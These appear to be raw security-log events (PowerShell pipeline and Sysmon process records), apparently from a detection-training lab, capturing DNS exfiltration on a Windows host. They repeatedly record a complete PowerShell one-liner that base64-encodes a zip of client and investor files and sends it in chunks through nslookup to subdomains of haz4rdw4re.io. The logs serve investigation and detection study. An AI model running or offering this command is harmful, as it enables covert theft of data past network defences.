6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup IAAgCUAAAA
tQAAAAAA.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup IAAgCUAAAAtQAAAAAA.haz4
rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 ⁝ source = eventcollector ⁝ sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:       DetailSeque
nce=1   DetailTotal=1   SequenceNumber=467      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Where-Object): "W
here-Object"ParameterBinding(Where-Object): name="F
ilterScript"; value=" $_ -ne '' "CommandInvocation
(ForEach-Object): "ForEach-Object"ParameterBinding
(ForEach-Object): name="Process"; value="Invoke-Exp
ression "nslookup $_.haz4rdw4re.io""ParameterBindin
g(Where-Object): name="InputObject"; value=""Parame
terBinding(Where-Object): name="InputObject"; value
="UEsDBBQAAAAIANigLlfVU3cDIgAAAI"ParameterBinding(F
orEach-Object): name="InputObject"; value="UEsDBBQA
AAAIANigLlfVU3cDIgAAAI"ParameterBinding(Where-Objec
t): name="InputObject"; value=""ParameterBinding(Wh
ere-Object): name="InputObject"; value="8AAAAbAAAAQ
2xpZW50UG9ydGZvbGlv"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="8AAAAbAAAAQ2xpZW50UG
9ydGZvbGlv"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="U3VtbWFyeS54bHN4c87JTM0r
CcgvKk"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="U3VtbWFyeS54bHN4c87JTM0rCcgvKk"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="nLz8nMDy7NzU0sqtSryCmu4OVyprsk"Parame
terBinding(ForEach-Object): name="InputObject"; val
ue="nLz8nMDy7NzU0sqtSryCmu4OVyprsk"ParameterBinding
(Where-Object): name="InputObject"; value=""Paramet
erBinding(Where-Object): name="InputObject"; value
="AFBLAwQUAAAACAC9oC5XHhlO5R8AAA"ParameterBinding(F
orEach-Object): name="InputObject"; value="AFBLAwQU
AAAACAC9oC5XHhlO5R8AAA"ParameterBinding(Where-Objec
t): name="InputObject"; value=""ParameterBinding(Wh
```

Time Event

```
ere-Object): name="InputObject"; value="AdAAAAHQAAA
EludmVzdG9yUHJlc2Vu"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="AdAAAAHQAAAEludmVzdG
9yUHJlc2Vu"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="dGF0aW9uMjAyMy5wcHR488wr
Sy0uyS"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="dGF0aW9uMjAyMy5wcHR488wrSy0uyS"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="8KKEotTs0rSSzJzM8zMjAy1isoKKkA"Parame
terBinding(ForEach-Object): name="InputObject"; val
ue="8KKEotTs0rSSzJzM8zMjAy1isoKKkA"ParameterBinding
(Where-Object): name="InputObject"; value=""Paramet
erBinding(Where-Object): name="InputObject"; value
="AFBLAQIUABQAAAAIANigLlfVU3cDIg"ParameterBinding(F
orEach-Object): name="InputObject"; value="AFBLAQIU
ABQAAAAIANigLlfVU3cDIg"ParameterBinding(Where-Objec
t): name="InputObject"; value=""ParameterBinding(Wh
ere-Object): name="InputObject"; value="AAAI8AAAAbA
AAAAAAAAAAAAAAAAAAA"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="AAAI8AAAAbAAAAAAAAAA
AAAAAAAAAA"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="AABDbGllbnRQb3J0Zm9saW9T
dW1tYX"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="AABDbGllbnRQb3J0Zm9saW9TdW1tYX"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="J5Lnhsc3hQSwECFAAUAAAACAC9oC5X"Parame
terBinding(ForEach-Object): name="InputObject"; val
ue="J5Lnhsc3hQSwECFAAUAAAACAC9oC5X"ParameterBinding
(Where-Object): name="InputObject"; value=""Paramet
erBinding(Where-Object): name="InputObject"; value
="HhlO5R8AAAAdAAAAHQAAAAAAAAAAAA"ParameterBinding(F
orEach-Object): name="InputObject"; value="HhlO5R8A
AAAdAAAAHQAAAAAAAAAAAA"ParameterBinding(Where-Objec
t): name="InputObject"; value=""ParameterBinding(Wh
ere-Object): name="InputObject"; value="AAAABbAAAAS
W52ZXN0b3JQcmVzZW50"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="AAAABbAAAASW52ZXN0b3
JQcmVzZW50"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="YXRpb24yMDIzLnBwdHhQSwUG
AAAAAA"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="YXRpb24yMDIzLnBwdHhQSwUGAAAAAA"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="IAAgCUAAAAtQAAAAAA"ParameterBinding(F
orEach-Object): name="InputObject"; value="IAAgCUAA
AAtQAAAAAA"ParameterBinding(Where-Object): name="In
putObject"; value=""
   powershell.command.invocation_details.value: "Wh
ere-Object", " $_ -ne '' ", "ForEach-Object", "Invo
ke-Expression "nslookup $_.haz4rdw4re.io"", "", "UE
sDBBQAAAAIANigLlfVU3cDIgAAAI", "UEsDBBQAAAAIANigLlf
VU3cDIgAAAI", "", "8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv",
```

Time Event

"8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv", "", "U3VtbWFyeS54bHN4c87JTM0rCcgvKk", "U3VtbWFyeS54bHN4c87JTM0rCcgvKk", "", "nLz8nMDy7NzU0sqtSryCmu4OVyprsk", "nLz8nMDy7NzU0sqtSryCmu4OVyprsk", "", "AFBLAwQUAAAACAC9oC5XHhlO5R8AAA", "AFBLAwQUAAAACAC9oC5XHhlO5R8AAA", "", "AdAAAAHQAAAEludmVzdG9yUHJlc2Vu", "AdAAAAHQAAAEludmVzdG9yUHJlc2Vu", "", "dGF0aW9uMjAyMy5wcHR488wrSy0uyS", "dGF0aW9uMjAyMy5wcHR488wrSy0uyS", "", "8KKEotTs0rSSzJzM8zMjAy1isoKKkA", "8KKEotTs0rSSzJzM8zMjAy1isoKKkA", "", "AFBLAQIUABQAAAAIANigLlfVU3cDIg", "AFBLAQIUABQAAAAIANigLlfVU3cDIg", "", "AAAI8AAAAbAAAAAAAAAAAAAAAAAAAA", "AAAI8AAAAbAAAAAAAAAAAAAAAAAAAA", "", "AABDbGllbnRQb3J0Zm9saW9TdW1tYX", "AABDbGllbnRQb3J0Zm9saW9TdW1tYX", "", "J5Lnhsc3hQSwECFAAUAAAACAC9oC5X", "J5Lnhsc3hQSwECFAAUAAAACAC9oC5X", "", "HhlO5R8AAAAdAAAAHQAAAAAAAAAAAA", "HhlO5R8AAAAdAAAAHQAAAAAAAAAAAA", "", "AAAABbAAAASW52ZXN0b3JQcmVzZW50", "AAAABbAAAASW52ZXN0b3JQcmVzZW50", "", "YXRpb24yMDIzLnBwdHhQSwUGAAAAAA", "YXRpb24yMDIzLnBwdHhQSwUGAAAAAA", "", "IAAgCUAAAAtQAAAAAA", "IAAgCUAAAAtQAAAAAA", ""

powershell.command.name: -

powershell.file.script_block_text: -

process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass

timestamp: 01/11/2026 15:28:07.633

winlog.process.pid: -

}

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time	Event
1/11/26 3:28:07.633 PM	see below

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=459      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup HhlO5R8AAA
AdAAAAHQAAAAAAAAAAAA.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup HhlO5R8AAAAdAAAAHQAAAAA
AAAAAAA.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 ┆ source = eventcollector ┆ sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=457      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup J5Lnhsc3hQ
SwECFAAUAAAACAC9oC5X.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup J5Lnhsc3hQSwECFAAUAAAAC
AC9oC5X.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=463      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup YXRpb24yMD
IzLnBwdHhQSwUGAAAAAA.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup YXRpb24yMDIzLnBwdHhQSwU
GAAAAAA.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26 3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information:        DetailSequence=1   DetailTotal=1   SequenceNumber=451      UserId=SSF\michael.ascot   HostName=ConsoleHost    HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041        HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass    EngineVersion=5.1.20348.1366       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280    PipelineId=53   ScriptName=     CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AFBLAQIUABQAAAAIANigLlfVU3cDIg.haz4rdw4re.io"
   powershell.command.invocation_details.value: "Invoke-Expression", "nslookup AFBLAQIUABQAAAAIANigLlfVU3cDIg.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:28:07.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=449      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup 8KKEotTs0r
SSzJzM8zMjAy1isoKKkA.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup 8KKEotTs0rSSzJzM8zMjAy1
isoKKkA.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:07.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nsloo
kup.exe" nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.
io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3800
   process.working_directory: C:\Users\michael.asco
t\downloads\exfiltration\
   timestamp: 01/11/2026 15:28:06.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector
sourcetype = _json

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreat
e)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nsloo
kup.exe" AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.
io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 6604
   process.working_directory: C:\Users\michael.asco
t\downloads\exfiltration\
   timestamp: 01/11/2026 15:28:06.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector
sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEludmVzdG9yUHJlc2Vu.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5704
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 01/11/2026 15:28:06.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 5432
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 01/11/2026 15:28:06.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=445      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup AdAAAAHQAA
AEludmVzdG9yUHJlc2Vu.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup AdAAAAHQAAAEludmVzdG9yU
HJlc2Vu.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:06.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 | source = eventcollector | sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 3952
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 01/11/2026 15:28:06.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=441      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup nLz8nMDy7N
zU0sqtSryCmu4OVyprsk.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup nLz8nMDy7NzU0sqtSryCmu4
OVyprsk.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:06.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 ⋮ source = eventcollector ⋮ sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=435      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
it '(.{1,30})' | Where-Object { $_ -ne '' } | ForEa
ch-Object {Invoke-Expression "nslookup $_.haz4rdw4r
e.io"} Details: CommandInvocation(Invoke-Expressio
n): "Invoke-Expression"ParameterBinding(Invoke-Expr
ession): name="Command"; value="nslookup UEsDBBQAAA
AIANigLlfVU3cDIgAAAI.haz4rdw4re.io"
   powershell.command.invocation_details.value: "In
voke-Expression", "nslookup UEsDBBQAAAAIANigLlfVU3c
DIgAAAI.haz4rdw4re.io"
   powershell.command.name: -
   powershell.file.script_block_text: -
   process.command_line: C:\Windows\System32\Window
sPowerShell\v1.0\powershell.exe -ExecutionPolicy By
pass
   timestamp: 01/11/2026 15:28:06.633
   winlog.process.pid: -
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26 3:28:06.633 PM

```
{ [-]
   datasource: sysmon
   event.action: Process Create (rule: ProcessCreate)
   event.code: 1
   host.name: win-3450
   process.command_line: "C:\Windows\system32\nslookup.exe" 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io
   process.name: nslookup.exe
   process.parent.name: powershell.exe
   process.parent.pid: 3728
   process.pid: 4752
   process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
   timestamp: 01/11/2026 15:28:06.633
}
```

Show as raw text

host = 10.10.67.0:8989 source = eventcollector sourcetype = _json

Time Event

1/11/26
3:28:06.633 PM

```
{ [-]
   datasource: powershell
   event.action: Pipeline Execution Details
   file.path: -
   host.name: win-3450
   message: Pipeline execution details for command
line: $base64 = [System.Convert]::ToBase64String([S
ystem.IO.File]::ReadAllBytes("C:\Users\michael.asco
t\Downloads\exfiltration\exfilt8me.zip")); $base64
-split '(.{1,30})' | Where-Object { $_ -ne '' } | F
orEach-Object {Invoke-Expression "nslookup $_.haz4r
dw4re.io"}. Context Information:        DetailSeque
nce=1   DetailTotal=1   SequenceNumber=443      Use
rId=SSF\michael.ascot   HostName=ConsoleHost    Hos
tVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-9
8b9-9193fdb89041        HostApplication=C:\Windows
\System32\WindowsPowerShell\v1.0\powershell.exe -Ex
ecutionPolicy Bypass    EngineVersion=5.1.20348.136
6       RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd
8280    PipelineId=53   ScriptName=     CommandLine
=$base64 = [System.Convert]::ToBase64String([Syste
m.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Do
wnloads\exfiltration\exfilt8me.zip")); $base64 -spl
